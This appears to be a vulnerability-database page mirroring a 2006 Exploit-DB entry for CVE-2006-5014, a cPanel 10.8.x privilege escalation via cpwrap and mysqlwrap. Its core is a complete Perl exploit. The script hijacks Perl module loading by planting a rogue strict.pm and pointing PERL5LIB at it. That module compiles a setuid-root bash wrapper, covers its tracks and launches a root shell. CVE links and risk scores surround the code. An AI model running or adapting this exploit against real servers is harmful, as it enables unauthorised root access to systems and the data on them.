Lucene search
+L

cPanel 10.8.x - cpwrap via MySQLAdmin Privilege Escalation

🗓️ 01 Oct 2006 00:00:00Reported by Clint TorrezType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 45 Views

cPanel 10.8.x - cpwrap via MySQLAdmin Privilege Escalation exploi

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2006-5014
3 Apr 202515:35
circl
cve
CVE
CVE-2006-5014
27 Sep 200601:00
cve
cvelist
Cvelist
CVE-2006-5014
27 Sep 200601:00
cvelist
euvd
EUVD
EUVD-2006-5000
7 Oct 202500:30
euvd
nvd
NVD
CVE-2006-5014
27 Sep 200601:07
nvd
ptsecurity
Positive Technologies
PT-2006-5755 · Cpanel · Cpanel
27 Sep 200600:00
ptsecurity
redhatcve
RedhatCVE
CVE-2006-5014
21 May 202522:32
redhatcve
vulnrichment
Vulnrichment
CVE-2006-5014
27 Sep 200601:00
vulnrichment
#!/usr/bin/perl -w

# 10/01/06 - cPanel <= 10.8.x cpwrap root exploit via mysqladmin
# use strict; # haha oh wait..

my $cpwrap       = "/usr/local/cpanel/bin/cpwrap";
my $mysqlwrap    = "/usr/local/cpanel/bin/mysqlwrap";
my $pwd          = `pwd`;

chomp $pwd;
$ENV{'PERL5LIB'} = "$pwd";

if ( ! -x "/usr/bin/gcc" )  { die "gcc: $!\n"; }
if ( ! -x "$cpwrap" )       { die "$cpwrap: $!\n"; }
if ( ! -x "$mysqlwrap" )    { die "$mysqlwrap: $!\n"; }

open  (CPWRAP, "<$cpwrap") or die "Could not open $cpwrap: $!\n";
while(<CPWRAP>) {
   if(/REMOTE_USER/) { die "$cpwrap is patched.\n"; }
}
close (CPWRAP);

open  (STRICT, ">strict.pm") or die "Can't open strict.pm: $!\n";
print  STRICT  "\$e  = \"int main(){setreuid(0,0);setregid(0,0);system(\\\\\\\"/bin/bash\\\\\\\");}\";\n";
print  STRICT  "system(\"/bin/echo -n \\\"\$e\\\">Maildir.c\");\n";
print  STRICT  "system(\"/usr/bin/gcc Maildir.c -o Maildir\");\n";
print  STRICT  "system(\"/bin/chmod 4755 Maildir\");\n";
print  STRICT  "system(\"/bin/rm -f Maildir.c strict.pm\");\n";
close (STRICT);

system("$mysqlwrap DUMPMYSQL 2>/dev/null");

if ( -e "Maildir" ) {
   system("./Maildir");
}
else {
   unlink "strict.pm";
   die "Failed\n";
}

# milw0rm.com [2006-10-01]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Oct 2006 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 29
CVSS 3.18.8
EPSS0.03871
SSVC
45